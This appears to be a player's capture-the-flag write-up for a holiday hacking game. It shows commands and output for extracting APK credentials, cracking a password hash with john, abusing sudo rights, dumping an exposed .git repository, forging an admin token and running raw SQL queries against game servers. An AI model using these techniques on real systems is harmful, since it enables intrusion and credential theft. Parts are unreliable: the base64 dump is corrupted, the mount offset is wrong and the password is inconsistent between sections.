```
--- Part 1 ---
1) What is the secret message in Santa's tweets?

> Copy all tweets from twitter.com/santawclaus
> Replace ^((.){1,74}|(.){76,})$ with ""
> Replace \n+ with \n
> Read "Bug Bounty"

2) What is inside the ZIP file distributed by Santa's team?

> Instagram billeder:
>>  SantaGram_v4.2.zip
>>      northpolewonderland.com
> Download northpolewonderland.com/SantaGram_v4.2.zip
> The zip file is password protected, the password is 'bugbounty', inside is the file
"SantaGram_4.2.apk"




--- Part 2 ---
3) What username and password are embedded in the APK file?

> Jadx SantaGram_4.2.apk -> SplashScreen:
jSONObject.put("username", "guest");
jSONObject.put("password", "busyreindeer78");

4) What is the name of the audible component (audio file) in the SantaGram APK file?

> Extract apk file, enter directory
> find . -type f -exec file -b {} \; | cut -d, -f1 | sort | uniq -c | sort -n
      1 Audio file with ID3 version 2.3.0
      1 Dalvik dex file version 035
      1 empty
      1 HTML document
      1 JPEG image data
      2 ASCII text
      2 data
    139 Android binary XML
    261 PNG image data

> apktool d SantaGram_4.2.apk
I: Using Apktool 2.2.1 on SantaGram_4.2.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: ~/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

> find . -type f -exec file -b {} \; | cut -d, -f1 | sort | uniq -c | sort -n
      1 Android binary XML
      1 Audio file with ID3 version 2.3.0
      1 data
      1 HTML document
      1 JPEG image data
      3 C source
    261 PNG image data
    263 XML 1.0 document
   1769 ASCII text

> cat res/values/strings.xml | grep http
    <string
    name="analytics_launch_url">https://analytics.northpolewonderland.com/report.php?type=laun
    ch</string>
```

```
        <string
        name="analytics_usage_url">https://analytics.northpolewonderland.com/report.php?type=usage
        </string>
        <string
        name="banner_ad_url">http://ads.northpolewonderland.com/affiliate/C9E380C8-2244-41E3-93A3-
        D6C6700156A5</string>
        <string
        name="debug_data_collection_url">http://dev.northpolewonderland.com/index.php</string>
        <string name="dungeon_url">http://dungeon.northpolewonderland.com/</string>
        <string name="exhandler_url">http://ex.northpolewonderland.com/exception.php</string>

> find . -name "*.mp3" -o -name "*.ogg"
./res/raw/discombobulatedaudio1.mp3
```

```
--- Part 3 ---
5) What is the password for the "cranpi" account on the Cranberry Pi system?

> fdisk -l cranbian-jessie.img
Disk cranbian-jessie.img: 1.3 GiB, 1389363200 bytes, 2713600 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x5a7089a1


Device                 Boot   Start      End Sectors  Size Id Type
cranbian-jessie.img1           8192   137215  129024   63M  c W95 FAT32 (LBA)
cranbian-jessie.img2         137216 2713599 2576384  1.2G 83 Linux

> mkdir mnt-cranbian-jessie
> mount -v -o offset=$((512*2713599)) -t ext4 cranbian-jessie.img mnt-cranbian-jessie
> cd mnt-cranbian-jessie
> john -wordlist:../rockyou.txt etc/shadow
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Press 'q' or Ctrl-C to abort, almost any other key for status

yummycookies      (cranpi)
 1g 0:00:18:37 100% 0.000894g/s 406.5p/s 406.5c/s 406.5C/s yves69..yukata
Use the "--show" option to display all of the cracked passwords reliably
Session completed

6) How did you open each terminal door and where had the villain imprisoned Santa?

TERMINAL: Elf House #2
> sudo -l
sudo: unable to resolve host 6db8d94cfbae
Matching Defaults entries for scratchy on 6db8d94cfbae:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User scratchy may run the following commands on 6db8d94cfbae:
    (itchy) NOPASSWD: /usr/sbin/tcpdump
    (itchy) NOPASSWD: /usr/bin/strings

> sudo -u itchy /usr/sbin/tcpdump -X -r /out.pcap | grep -C 3 half | more

        0x0030:  0009 bd42 4745 5420 2f66 6972 7374 6861  ...BGET./firstha
        0x0040:  6c66 2e68 746d 6c20 4854 5450 2f31 2e31  lf.html.HTTP/1.1
        0x0050:  0d0a 5573 6572 2d41 6765 6e74 3a20 5767  ..User-Agent:.Wg
        0x0060:  6574 2f31 2e31 372e 3120 2864 6172 7769  et/1.17.1.(darwi

> Aha! "firsthalf.html"
        0x0040:  3e3c 2f68 6561 643e 0a3c 626f 6479 3e0a  ></head>.<body>.
        0x0050:  3c66 6f72 6d3e 0a3c 696e 7075 7420 7479  <form>.<input.ty
        0x0060:  7065 3d22 6869 6464 656e 2220 6e61 6d65  pe="hidden".name
        0x0070:  3d22 7061 7274 3122 2076 616c 7565 3d22  ="part1".value="
        0x0080:  7361 6e74 6173 6c69 2220 2f3e 0a3c 2f66  santasli"./>.</f
```

```
        0x0090:  6f72 6d3e 0a3c 2f62 6f64 793e 0a3c 2f68  orm>.</body>.</h
>> First part is: santasli  .... Guessing "santaslittlehelper" - Dingdingding

> Let's look for "second" in the pcap
> sudo -u itchy /usr/sbin/tcpdump -X -r /out.pcap | grep -C 3 second
        0x0030:  0009 bd44 4745 5420 2f73 6563 6f6e 6468  ...DGET./secondh
        0x0040:  616c 662e 6269 6e20 4854 5450 2f31 2e31  alf.bin.HTTP/1.1
        0x0050:  0d0a 5573 6572 2d41 6765 6e74 3a20 5767  ..User-Agent:.Wg
        0x0060:  6574 2f31 2e31 372e 3120 2864 6172 7769  et/1.17.1.(darwi
> Alright, so it's a bin file.


TERMINAL: Workshop - Train Station
> HELP
>> Starts a 'less' instance showing /home/conductor/TrainHelper.txt
> :e /home/conductor/<tab>
> :e /home/conductor/ActivateTrain
"/home/conductor/ActivateTrain" may be a binary file. See it anyway?" <- Yup.
 Bit of plaintext dump:
 GET /####?UID=####&token=AE4B5D25-A7BA-4129-9AF1-1CF5A3EF9EDC
 HTTP/1.1
 Host: localhost
 QUEST_UID:#####
 10.240.0.19

> :e /home/conductor/<tab>
> :e /home/conductor/Train_Console
#!/bin/bash
HOMEDIR="/home/conductor"
CTRL="$HOMEDIR/"
DOC="$HOMEDIR/TrainHelper.txt"
PAGER="less"
BRAKE="on"
PASS="24fb3e89ce2aa0ea422c3d511d40dd84"
print_header() {
        echo ""
        echo "Train Management Console: AUTHORIZED USERS ONLY"
        echo ""
}
print_main_menu() {
        echo ""
        echo "                    ==== MAIN MENU ===="
        echo ""
        echo "STATUS:                 Train Status"
        echo "BRAKEON:                Set Brakes"
        echo "BRAKEOFF:               Release Brakes"
        echo "START:                      Start Train"
        echo "HELP:                       Open the help document"
        echo "QUIT:                       Exit console"
        echo ""
        echo -n "menu:main> "
}
# MAIN

> Bingo, a password!
> BRAKEOFF
> START
> Insert password and welcome to 1978.
>> Explore and find a few NetWars coins

TERMINAL: Workshop (Bottom one)
> ls -al
total 32
drwxr-xr-x 20 elf  elf  4096 Dec  6 19:40 .
drwxr-xr-x 22 root root 4096 Dec  6 19:40 ..
-rw-r--r--  1 elf  elf   220 Nov 12  2014 .bash_logout
-rw-r--r--  1 elf  elf  3924 Dec  6 19:40 .bashrc
drwxr-xr-x 18 root root 4096 Dec  6 19:40 .doormat
-rw-r--r--  1 elf  elf   675 Nov 12  2014 .profile
drwxr-xr-x  2 root root 4096 Dec  6 19:39 temp
drwxr-xr-x  2 root root 4096 Dec  6 19:39 var
```

```
>> A doormat, eh?
> find .doormat/ -type f -name "*" -print0 | xargs -0 echo
.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/'/key_for_the_door.txt
> cd .doormat/.\ /\ /\\/
> cd \\\\/
>  cd Don\'t\ Look\ Here\!/You\ are\ persistent\,\ aren\'t\ you\?/\'/
> cat key_for_the_door.txt
open_sesame

TERMINAL: Workshop (Top one)
> strings wumpus
> "usage: wump [parameters]"
> So it takes commandline options
> a:b:hp:r:t: -> a:arrows, b:bats, hp:??, r:rooms, t:tunnels

> ./wumpus
>> Passphrase:
>> WUMPUS IS MISUNDERSTOOD

TERMINAL: Santa's Office (https://github.com/abs0/wargames/blob/master/wargames.sh)
> Hello.
> I'm fine. How are you?
> People sometimes make mistakes.
> Love to. How about Global Thermonuclear War?
> Later. Let's play Global Thermonuclear War.

> 2
> Las Vegas

> LOOK AT THE PRETTY LIGHTS

Santa is trapped in DFER in 1978.




--- Part 4 ---

7) ONCE YOU GET APPROVAL OF GIVEN IN-SCOPE TARGET IP ADDRESSES FROM TOM HESSMAN AT THE NORTH
POLE, ATTEMPT TO REMOTELY EXPLOIT EACH OF THE FOLLOWING TARGETS:

- The Mobile Analytics Server (via credentialed login access) (Done) -
>> access: https://analytics.northpolewonderland.com/
>> login using guest/reindeer78
>> Download mp3



- The Dungeon Game (Done) -
> Create script:
#!/usr/bin/env python
print "GDT"
for i in range(1, 218):
    print "TK"
    print i

print "exit"
print

> Run script and copy output.

>> nc dungeon.northpolewonderland.com 11111
>Copy output from script and then

>>drop elf
The elf appears increasingly impatient.
>>give gold card to elf
The elf, satisified with the trade says -
send email to "peppermint@northpolewonderland.com" for that which you seek.
The elf says - you have conquered this challenge - the game will now end.
```

Your score is 15 [total of 585 points], in 2 moves.
This gives you the rank of Beginner.

> Ship off an email and get a reply(Along with discombobulatedaudio3.mp3)
You tracked me down, of that I have no doubt.

I won't get upset, to avoid the inevitable bout.

You have what you came for, attached to this note.

Now go and catch your villian, and we will alike do dote.

- The Debug Server (Done) -
> Sniff trafic from APK and send that to the server.
>> curl -i -H "Content-Type: application/json" -d @debug.json -X POST
"http://dev.northpolewonderland.com/index.php"

{"date":"20161228133836","status":"OK","filename":"debug-20161228133836-0.txt","request":{"dat
e":"20161228095114+0100","udid":"fa0eef1fcb9c0c7b","debug":"com.northpolewonderland.santagram.
EditProfile, EditProfile","freemem":9223372036854775807,"verbose":false}}%

> Okay. .... "verbose":false .... Add that to our JSON and set it to true
>> curl -i -H "Content-Type: application/json" -d @debug.json -X POST
"http://dev.northpolewonderland.com/index.php"

{"date":"20161228133418","date.len":14,"status":"OK","status.len":"2","filename":"debug-201612
28133418-0.txt","filename.len":26,"request":{"date":"20161228095114+0100","udid":"fa0eef1fcb9c
0c7b","debug":"com.northpolewonderland.santagram.EditProfile,
EditProfile","freemem":9223372036854775807,"verbose":true},"files":["debug-20161224235959-0.mp
3","debug-20161228132132-0.txt","debug-20161228133354-0.txt","debug-20161228133418-0.txt","ind
ex.php"]}

> And there we have the mp3 file. 'debug-20161224235959-0.mp3'

- The Banner Ad Server -

HomeQuotes.find().fetch()
Array [Object, Object, Object, Object, Object]
HomeQuotes.find().fetch()[4]
Object { _id: "zPR5TpxB5mcAH3pYk", index: 4, quote: "Just Ad It!", hidden: true, audio:
"/ofdAR4UYRaeNxMg/discombobulatedaud…" }
HomeQuotes.find().fetch()[4]["audio"]
"/ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3"

- The Uncaught Exception Handler Server (Done) -
> ex.northpolewonderland.com (104.154.196.33)

> access: ex.northpolewonderland.com/exception.php   (This was pulled from the SantaGram apk)
>> Output: Request method must be POST

> Alright, let's pull out 'curl and do a post request.
>> curl -i -X POST 104.154.196.33/exception.php
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Mon, 26 Dec 2016 10:29:02 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

Content type must be: application/json

> Okay, let's send some JSON then.
>> curl -H "Content-Type: application/json" -d '{}' -X POST 104.154.196.33/exception.php

Fatal error! JSON key 'operation' must be set to WriteCrashDump or ReadCrashDump.

```
>> curl -H "Content-Type: application/json" -d '{"operation":"ReadCrashDump"}' -X POST
104.154.196.33/exception.php

Fatal error! JSON key 'data' must be set.

> At this point it's time to make a file for this.

>> curl -H "Content-Type: application/json" -d @exception.write.json -X POST
104.154.196.33/exception.php
>> curl -H "Content-Type: application/json" -d @exception.read.json -X POST
104.154.196.33/exception.php
```

PD9waHAgCgojIEF1ZGlvIGZpbGUgZnJvbSBEaXNjb21ib2J1bGF0b3IgaW4gd2Vicm9vdDogZGlzY29tYm9idWxhdGVkLW
F1ZGlvLTYtWHl6RTNOOVlxS05ILm1wMwoKIyBDb2RlIGZyb20gaHR0cDovL3RoaXNpbnRlcmVzdHNtZS5jb20vcmVjZWl2
aW5nLWpzb24tcG9zdC1kYXRhLXZpYS1waHAvCiMgTWFzZBzdXJlIHRoYXQaXQgaXMgYBQT1NUIHJlcXVlc3QuCmlmKH
N0cmNhc2VjbXAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10sICdQT1NUJ ykgIT0gMCl7CiAgICBkaWUoIlJlcXVlc3Qg
bWV0aG9kIG11c3QgQmUgUE9TVFxuIik7Cn0KCSAKIyBNYWtlIHN1cmUgdGhhdCB0aGUgY29udGVudCB0eXBlIG9mIHRoZS
BQT1NUIHJlcXVlc3QgaGFzIGJlZW4gc2V0IHRvIGFwcGxpY2F0aW9uL2pzb24KJGNvbnRlbnRUeXBlID0gaXNzZXQoJF9T
RVJWRVJbIkNPTlRFTlRfVFlQRSJdKSA/IHRyaW0oJF9TRVJWRVJbIkNPTlRFTlRfVFlQRSJdKSA6ICcnOwppZigkaHapY
NlY21wKCRjb250ZW50VHlwZSwgJ2FwcGxpY2F0aW9uL2pzb24nKSAhPSAwKXsICAgIGRpZSgiQ29udGVudCB0eXBlIG11
c3QgYmU6IGFwcGxpY2F0aW9uL2pzb25cbiIpOwp9CgkKIyBHcmFiIHRoZSByYXcgUE9TVC4gTmVjZXNzYXJ5IGZvciBKU0
9OIGluIHBhcnRpY3VsYXIuCiRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CiRvYmogPSBq
c29uX2RlY29kZSgkY29udGVudCwgdHJ1ZSk7CgkjIElmIGpzb25fZGVjb2RlIGZhaWxlZCwgdGhlIEpTT04gaXMgaW52YW
xpZC4KaWYoIWlzX2FycmF5KCRvYmopKXsICAgIGRpZSgiUE9TVCBjb250YWlucyBpbnZhbGlkIEpTT04hXG4iKTsKfQoK
IyBQcm9jZXNzIHRoZSBBKU09OLgpwZiAoICEgaXNzZXQoICRvYmpbJ29wZXJhdGlvbiddKSApIHsgZGllKCJObyAnb3Bl
cmF0aW9uJyBzcGVjaWZpZWQhXG4iKTsgfQppZiAoICEgaXNzZXQoICRvYmpbJ2RhdGEnXSkgKSB7ICRvYmpbJ2RhdGEn
XSA9ICcnOyB9CmprIEJlIG5pY2UgYW5kIHRlbGwgdGhlbSBpZiBhIHJlYXEgYSBjcmFzaCBkdW1wIGhhY2sgZnJvbSBkaX
NrLgppZiAoJG9iaiddID09ICdXcml0ZUNyYXNoRHVtcCcgfHwgJG9iaiddID09ICdSZWFkQ3Jhc2hEdW1wJykgeyBkaWUo
IklyBXcml0ZSBhIGJhY2sgZnJvbSBkaXNrCgkJcmVhZGNyYXNoZHVtcCduWSk7CgklCgllbHNlaWYgKCRvYmpbJ29wZXJh
dGlvbiddID09ICdXcml0ZUNyYXNhER1bXAiKSB7CgkJIyBXcml0ZSBhIG5ldyBjcmFzaCBkdW1wIHRvIGRpc2sKCQ
lwcm9jZXNzQ3Jhc2hEdW1wKCRvYmpbJ2RhdGEnXSk7Cgl9CgllbHNlaWYgKCRvYmpbJ29wZXJhdGlvbiddID09ICdSZW
FkQ3Jhc2hEdW1wJykgeyBicmVhZCBhIGJhY2sgZnJvbSBkaXNrCgkJcmVhZGNyYXNoZHVtcCgkb2JqWydkYXRhJ10pOwoj
Qk9JyBAYXRhJ10pOwojCkZnVsc2UgewoJIyBkYXRhIGtleSB1bnNldAoJZGllKCJHYXhhCBlcnJvciEgSlNPTiBrZXkg
J2RhdGEnIG11c3Qgc2V0LlxuIik7Cn0KZnVuY3Rpb24gcHJvY2Vzc0NyYXNoRHVtcCgkY3Jhc2hkdW1wKSB7CgkkYm
FzZXBhdGggPSAiL3Zhci93d3cvaHRtbC9kb2NzLyI7Cgkkb3V0cHV0ZmlsZW5hbWUgPSB0ZW1wbmFtKCRiYXNlcGF0aCwg
ImNyYXNoZHVtc0iKTsKCXVubGluaygkb3V0cHV0ZmlsZW5hbWUpOwoJCgkkb3V0cHV0ZmlsZW5hbWUgLiAiLnBocCI7Cg
kkYmFzZW5hbWUgPSBiYXNlbmFtZSgkb3V0cHV0ZmlsZW5hbWUpOwoJCgkkY3Jhc2hkdW1wX2VuY29kZWQgPSBkb2Nz
LiAiLiAjk7IjsKCWZpbGVfcHV0X2NvbnRlbnRzKCRvdXRwdXRmaWxlbmFtZSwgJGNyYXNoZHVtcF9lbmNvZGVkKTsKCQkJj
CglwcmludCA8PD9waHAgCHJpbnQoJyIgLiBpc29uX2VuY29kZSgkY3Jhc2hkdW1wLCBKU09OX1BSRVRUWV9QUklOVC
kgLiAiJyk7IjsKCWZpbGVfcHV0X2NvbnRlbnRzKCRvdXRwdXRmaWxlbmFtZSwgJGNyYXNoZHVtcF9lbmNvZGVkKTsKCQkJ
CglwcmludCA8PDxTUklDc3MiIDogdHJ1ZSwCSJmb2xkZXIiIDogImRvY2MiLAoJImNyYXNoZHVtcCIgOi
AiJGJhc2VuYW1lIgp9CgpFTkQ7Cn0KCJ0KZnVuY3Rpb24gcmVhZENyYXNoRHVtcCgkcmVxdWVzdGVkQ3Jhc2hkdW1wKSB7Cgkk
YmFzZXBhdGggPSAiL3Zhci93d3cvaHRtbC9kb2NzLyI7CgljaGRpcigkYmFzZXBhdGggOwkJCgkKCWlmICggISBpc3NldC
gkcmVxdWVzdGVkQ3Jhc2hkdW1wWydjcmFzaGR1bXAnXSkpIHsKCQlkaWUoIklkZGF0YSBVym9yISBCcmFzaGR1bXAgdmFs
dWUgZHVwbGljYXRlICcucGhwJyBleHRlbnNpb24gZGV0ZWN0ZWQhXG4iKTsKCX0KCVVsc2UgewoJCXJlcXVpcmUoJHJlcX
Vlc3RlZENyYXNoZHVtcFsnY3Jhc2hkdW1wJ10gLiAnLnBocCCpOwoJfQokfQ==

```
> Decode base64 and we have:
# Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3




- The Mobile Analytics Server (post authentication) (Done) -
> Discover analytics.northpolewonderland.com/.git
>> wget -r --no-parent https://analytics.northpolewonderland.com/.git/
>> git log
>> git revert 16ae0cbe2630a87c0470b9a864bf048e813826db

> Time to look at code.
<?php
define('KEY', "\x61\x17\xa4\x95\xbf\x3d\xd7\xcd\x2e\x0d\x8b\xcb\x9f\x79\xe1\xdc");

function encrypt($data) {
    return mcrypt_encrypt(MCRYPT_ARCFOUR, KEY, $data, 'stream');
}

$auth = bin2hex(encrypt(json_encode([
    'username' => "administrator",
    'date' => "2016-12-26T19:01:59+0000",
])));
```

```
echo $auth;
?>
```
82532b2136348aaa1fa7dd2243dc0dc1e10948231f339e5edd5770daf9eef18a4384f6e7bca04d86e573b965cc9c65
49b849486263a40a63b71976884152

> And with that token we have admin access.

> Next up visit
>>
https://analytics.northpolewonderland.com/edit.php?id=eccbca8b-3696-4321-bcc3-875c6d4c4992&que
ry=SELECT%20*,%20TO_BASE64(mp3)%20FROM%20audio

> and then
>> https://analytics.northpolewonderland.com/view.php?id=eccbca8b-3696-4321-bcc3-875c6d4c4992

> And you can extract both sound files from this website as base64.

8) What are the names of the audio files you discovered from each system above? There are a
total of SEVEN audio files (one from the original APK in Question 4, plus one for each of
the six items in the bullet list above.)

discombobulatedaudio1.mp3
discombobulatedaudio2.mp3
discombobulatedaudio3.mp3
debug-20161224235959-0.mp3
discombobulatedaudio5.mp3
discombobulated-audio-6-XyzE3N9YqKNH.mp3
discombobulatedaudio7.mp3

> Combine files, play at 8 times speed:
>> Father Christmas, Santa Claus. Or, as I've always known him, Jeff.

--- Part 5 ---
9) Who is the villain behind the nefarious plot.
Dr. Who - The question of the hour is this: Who nabbed Santa.
Dr. Who - The answer? Yes, I did.

10) Why had the villain abducted Santa?
Dr. Who - Next question: Why would anyone in his right mind kidnap Santa Claus?
Dr. Who - The answer: Do I look like I'm in my right mind? I'm a madman with a box.
Dr. Who - I have looked into the time vortex and I have seen a universe in which the Star
Wars Holiday Special was NEVER released. In that universe, 1978 came and went as normal. No
one had to endure the misery of watching that abominable blight. People were happy there.
It's a better life, I tell you, a better world than the scarred one we endure here.
Dr. Who - Give me a world like that. Just once.
Dr. Who - So I did what I had to do. I knew that Santa's powerful North Pole Wonderland
Magick could prevent the Star Wars Special from being released, if I could leverage that
magick with my own abilities back in 1978. But Jeff refused to come with me, insisting on
the mad idea that it is better to maintain the integrity of the universe's timeline. So I
had no choice – I had to kidnap him.
Dr. Who - It was sort of one of those days.
Dr. Who - Well. You know what I mean.
Dr. Who - Anyway... Since you interfered with my plan, we'll have to live with the Star Wars
Holiday Special in this universe... FOREVER. If we attempt to go back again, to cross our
own timeline, we'll cause a temporal paradox, a wound in time.
Dr. Who - We'll never be rid of it now. The Star Wars Holiday Special will plague this world
until time itself ends... All because you foiled my brilliant plan. Nice work.

--- Net Wars coins ---
 - Elf House #1 -> Secret Fireplace Room
 - Elf House #2 -> shelf on the right side
 - Elf house #2 -> Right side of couch
 - Elf House #2 -> Room 2 -> Along the south wall
 - On the right side of the netwars tree house roof
 - Outside on the right side of the house below oracle tree
 - Workshop - Santa's Office - The Corridor -> Crates to the left
 - Workshop - DFER -> On the right edge. (WUMPUS door)

- 1978 The Big Tree -> Next to the bed
- 1978 NetWars Experience Treehoouse -> Behind the space invaders board
- 1978 Workshop - Train Station -> Near the edge of the tiles
- 1978 Behind Holly Evergreen
- 1978 Santa's Office -> In the hand of the armor stand
- 1978 Behind the roof of the lower house left of "Days since the last ..."
- 1978 - Workshop - behind crates

--- In scope IPs ---
130.211.124.143 - File download only

104.198.252.157 - analytics.northpolewonderland.com
35.184.63.245   - dev.northpolewonderland.com
104.154.196.33   - ex.northpolewonderland.com
35.184.47.139   - dungeon.northpolewonderland.com
104.198.221.240 - ads.northpolewonderland.com

--- urls ---
Links:
https://wiki.skullsecurity.org/index.php?title=Passwords
https://pen-testing.sans.org/blog/2016/12/07/mount-a-raspberry-pi-file-system-image
https://pen-testing.sans.org/blog/2016/12/07/getting-moar-value-out-of-php-local-file-include-
vulnerabilities
https://ibotpeaches.github.io/Apktool/
https://www.youtube.com/watch?v=mo2yZVRicW0
https://www.meteor.com/
https://pen-testing.sans.org/blog/2016/12/06/mining-meteor
https://github.com/nidem/MeteorMiner
https://tampermonkey.net/
http://www.northpolewonderland.com/dungeon.zip
http://www.willhackforsushi.com/presentations/gitd-hackfest.pptx
https://www.northpolewonderland.com/cranbian.img.zip